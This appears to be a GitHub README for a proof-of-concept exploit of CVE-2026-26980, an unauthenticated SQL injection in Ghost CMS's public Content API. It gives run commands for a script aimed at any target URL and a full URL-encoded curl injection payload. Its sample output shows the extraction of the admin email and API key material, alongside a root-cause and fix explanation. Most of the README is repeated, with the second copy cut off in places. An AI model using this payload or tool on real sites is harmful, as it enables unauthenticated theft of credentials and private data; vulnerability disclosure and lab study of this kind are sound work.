EQSTLab/CVE-2026-26980
GitHub: EQSTLab/CVE-2026-26980
Stars: 3 | Forks: 1
# CVE-2026-26980
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
## Overview CVE-2026-26980 is an unauthenticated SQL Injection vulnerability in TryGhost Ghost CMS Content API. The vulnerable path is reachable through the public Content API filter handling logic when `slug:[...]` ordering is processed. This PoC builds a controlled Ghost `6.19.0` lab and demonstrates how a public Content API request can be turned into a boolean-based database read primitive.
## Affected Versions | Product | Affected Version | Fixed Version | Vulnerability Type | | ------------------ | --------------------------- | ------------- | ------------------ | | TryGhost Ghost CMS | `>= 3.24.0`, `< 6.19.1` | `6.19.1` | SQL Injection | The lab environment uses Ghost `6.19.0`.
## Lab Setup Build and run the vulnerable Ghost CMS environment using Docker: docker build -t cve-2026-26980 . docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980 Example: http://127.0.0.1:9102/
The lab runs a real vulnerable Ghost `6.19.0` instance on port `9102`.
The lab Content API key is:
EQSTLab299
## Description CVE-2026-26980 : TryGhost Ghost CMS Content API SQL Injection vulnerability description: A SQL injection vulnerability in TryGhost Ghost CMS before `6.19.1` allows an unauthenticated attacker with access to a public Content API key to read arbitrary database values through the Content API filter parameter. The issue occurs in the `slug:[...]` filter ordering path, where user-controlled slug values are inserted into raw SQL without proper parameter binding. Ghost Content API keys are commonly exposed to browsers by design through themes, search, portal, or frontend JavaScript. This means the vulnerable path can be reachable without Ghost Admin authentication.
## How to use ### Git clone git clone https://github.com/EQSTLab/CVE-2026-26980.git cd CVE-2026-26980 ### Command python3 poc.py --url [Target] Optional custom Content API key: python3 poc.py --url [Target] --key [Content API Key] ### Example python3 poc.py --url [Target] python3 poc.py --url [Target] --key EQSTLab299 `[Target]` example: `http://127.0.0.1:9102` ### Output ======================================================================== Ghost CMS - Unauthenticated SQLi Data Extraction ======================================================================== Target: [Target] API Key: [Content API Key] Endpoint: Content API (public, no auth) [*] Calibrating oracle... OK [*] Phase 1: Recon (fast checks) length(users.email) = 17 length(users.password) = 60 count(settings) (3 chars): 110 count(users) (1 chars): 1 count(api_keys) (1 chars): 9 [*] Phase 2: Extracting values Admin email (17 chars): ghost@example.com Admin name (5 chars): Ghost Admin API key ID (24 chars):
Admin API secret (64 chars):
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
The public PoC demonstrates database read impact by extracting lab-safe database metadata and Ghost API key material. It does not print the challenge flag.
## Analysis ### Vulnerable Point GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...] The vulnerable logic exists in Ghost's Content API input serialization path for `slug:[...]` filters. Ghost supports list-style slug filters and preserves the requested slug order by generating an `ORDER BY CASE` expression. In vulnerable versions, user-controlled slug values are inserted into an SQL fragment. A simplified vulnerable pattern is: for (const [index, slug] of slugs.entries()) { order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`); } Because `slug` is attacker-controlled and is inserted into the SQL string without parameter binding, a crafted Content API filter can break out of the intended comparison and inject additional SQL logic. ### Exploit Logic The lab PoC uses two public tags, `bacon` and `chorizo`, as an observable boolean oracle. - If the injected SQL condition is true, `bacon` is sorted first. - If the injected SQL condition is false, `chorizo` is sorted first. By repeating this test with different SQL conditions, the PoC can infer database values one character at a time. Boolean oracle check with curl: curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D" ### Root Cause The root cause is unsafe construction of an SQL `ORDER BY CASE` fragment from user-controlled `slug` values. The vulnerable code attempts to preserve Content API response order, but it treats parsed NQL filter values as trusted SQL text. A robust fix must: - avoid interpolating user-controlled slug values into SQL strings - use parameter binding for each slug value - preserve ordering without converting filter values into raw SQL - keep NQL parsing separate from SQL construction Ghost fixed this issue in `6.19.1` by replacing raw interpolation with parameterized query bindings. ### Impact This is a **CWE-89: Improper Neutralization of Special Elements used in an SQL Command** issue. Because the Ghost Content API is intentionally public, this vulnerability can allow an unauthenticated attacker to create a database read primitive through a public content endpoint. Depending on the database contents and permissions, an attacker may be able to: - enumerate database table metadata - read site configuration values - read user table fields - read API key records - extract private application data stored in the Ghost database
## Scenario +-------------------------------------------+ | Remote Attacker | +-------------------------------------------+ | | GET /ghost/api/content/tags/ | filter = slug:[,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
## Lab Notes This lab runs a real vulnerable Ghost `6.19.0` instance rather than a minimal mock server. The lab seeds: - a public Content API key: `EQSTLab299` - two oracle tags: `bacon`, `chorizo` - EQST Lab branding and sample blog content - a disposable private challenge value in the Ghost SQLite database The public `poc.py` is designed for demonstration videos and public writeups. It shows the SQL injection impact without printing the challenge flag.
## Cleanup docker stop cve-2026-26980
# Disclaimer This repository is not intended to be SQL Injection exploit to CVE-2026-26980. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.
# References https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97 https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91 https://github.com/TryGhost/Ghost/releases/tag/v6.19.1 https://nvd.nist.gov/vuln/detail/CVE-2026-26980 https://osv.dev/vulnerability/CVE-2026-26980 https://github.com/TryGhost/Ghost
## Overview CVE-2026-26980 is an unauthenticated SQL Injection vulnerability in TryGhost Ghost CMS Content API. The vulnerable path is reachable through the public Content API filter handling logic when `slug:[...]` ordering is processed. This PoC builds a controlled Ghost `6.19.0` lab and demonstrates how a public Content API request can be turned into a boolean-based database read primitive.
## Affected Versions | Product | Affected Version | Fixed Version | Vulnerability Type | | ------------------ | --------------------------- | ------------- | ------------------ | | TryGhost Ghost CMS | `>= 3.24.0`, `< 6.19.1` | `6.19.1` | SQL Injection | The lab environment uses Ghost `6.19.0`.
## Lab Setup Build and run the vulnerable Ghost CMS environment using Docker: docker build -t cve-2026-26980 . docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980 Example: http://127.0.0.1:9102/
The lab runs a real vulnerable Ghost `6.19.0` instance on port `9102`.
The lab Content API key is:
EQSTLab299
## Description CVE-2026-26980 : TryGhost Ghost CMS Content API SQL Injection vulnerability description: A SQL injection vulnerability in TryGhost Ghost CMS before `6.19.1` allows an unauthenticated attacker with access to a public Content API key to read arbitrary database values through the Content API filter parameter. The issue occurs in the `slug:[...]` filter ordering path, where user-controlled slug values are inserted into raw SQL without proper parameter binding. Ghost Content API keys are commonly exposed to browsers by design through themes, search, portal, or frontend JavaScript. This means the vulnerable path can be reachable without Ghost Admin authentication.
## How to use ### Git clone git clone https://github.com/EQSTLab/CVE-2026-26980.git cd CVE-2026-26980 ### Command python3 poc.py --url [Target] Optional custom Content API key: python3 poc.py --url [Target] --key [Content API Key] ### Example python3 poc.py --url [Target] python3 poc.py --url [Target] --key EQSTLab299 `[Target]` example: `http://127.0.0.1:9102` ### Output ======================================================================== Ghost CMS - Unauthenticated SQLi Data Extraction ======================================================================== Target: [Target] API Key: [Content API Key] Endpoint: Content API (public, no auth) [*] Calibrating oracle... OK [*] Phase 1: Recon (fast checks) length(users.email) = 17 length(users.password) = 60 count(settings) (3 chars): 110 count(users) (1 chars): 1 count(api_keys) (1 chars): 9 [*] Phase 2: Extracting values Admin email (17 chars): ghost@example.com Admin name (5 chars): Ghost Admin API key ID (24 chars):
## Analysis ### Vulnerable Point GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...] The vulnerable logic exists in Ghost's Content API input serialization path for `slug:[...]` filters. Ghost supports list-style slug filters and preserves the requested slug order by generating an `ORDER BY CASE` expression. In vulnerable versions, user-controlled slug values are inserted into an SQL fragment. A simplified vulnerable pattern is: for (const [index, slug] of slugs.entries()) { order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`); } Because `slug` is attacker-controlled and is inserted into the SQL string without parameter binding, a crafted Content API filter can break out of the intended comparison and inject additional SQL logic. ### Exploit Logic The lab PoC uses two public tags, `bacon` and `chorizo`, as an observable boolean oracle. - If the injected SQL condition is true, `bacon` is sorted first. - If the injected SQL condition is false, `chorizo` is sorted first. By repeating this test with different SQL conditions, the PoC can infer database values one character at a time. Boolean oracle check with curl: curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D" ### Root Cause The root cause is unsafe construction of an SQL `ORDER BY CASE` fragment from user-controlled `slug` values. The vulnerable code attempts to preserve Content API response order, but it treats parsed NQL filter values as trusted SQL text. A robust fix must: - avoid interpolating user-controlled slug values into SQL strings - use parameter binding for each slug value - preserve ordering without converting filter values into raw SQL - keep NQL parsing separate from SQL construction Ghost fixed this issue in `6.19.1` by replacing raw interpolation with parameterized query bindings. ### Impact This is a **CWE-89: Improper Neutralization of Special Elements used in an SQL Command** issue. Because the Ghost Content API is intentionally public, this vulnerability can allow an unauthenticated attacker to create a database read primitive through a public content endpoint. Depending on the database contents and permissions, an attacker may be able to: - enumerate database table metadata - read site configuration values - read user table fields - read API key records - extract private application data stored in the Ghost database
## Scenario +-------------------------------------------+ | Remote Attacker | +-------------------------------------------+ | | GET /ghost/api/content/tags/ | filter = slug:[
## Lab Notes This lab runs a real vulnerable Ghost `6.19.0` instance rather than a minimal mock server. The lab seeds: - a public Content API key: `EQSTLab299` - two oracle tags: `bacon`, `chorizo` - EQST Lab branding and sample blog content - a disposable private challenge value in the Ghost SQLite database The public `poc.py` is designed for demonstration videos and public writeups. It shows the SQL injection impact without printing the challenge flag.
## Cleanup docker stop cve-2026-26980
# Disclaimer This repository is not intended to be SQL Injection exploit to CVE-2026-26980. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.
# References https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97 https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91 https://github.com/TryGhost/Ghost/releases/tag/v6.19.1 https://nvd.nist.gov/vuln/detail/CVE-2026-26980 https://osv.dev/vulnerability/CVE-2026-26980 https://github.com/TryGhost/Ghost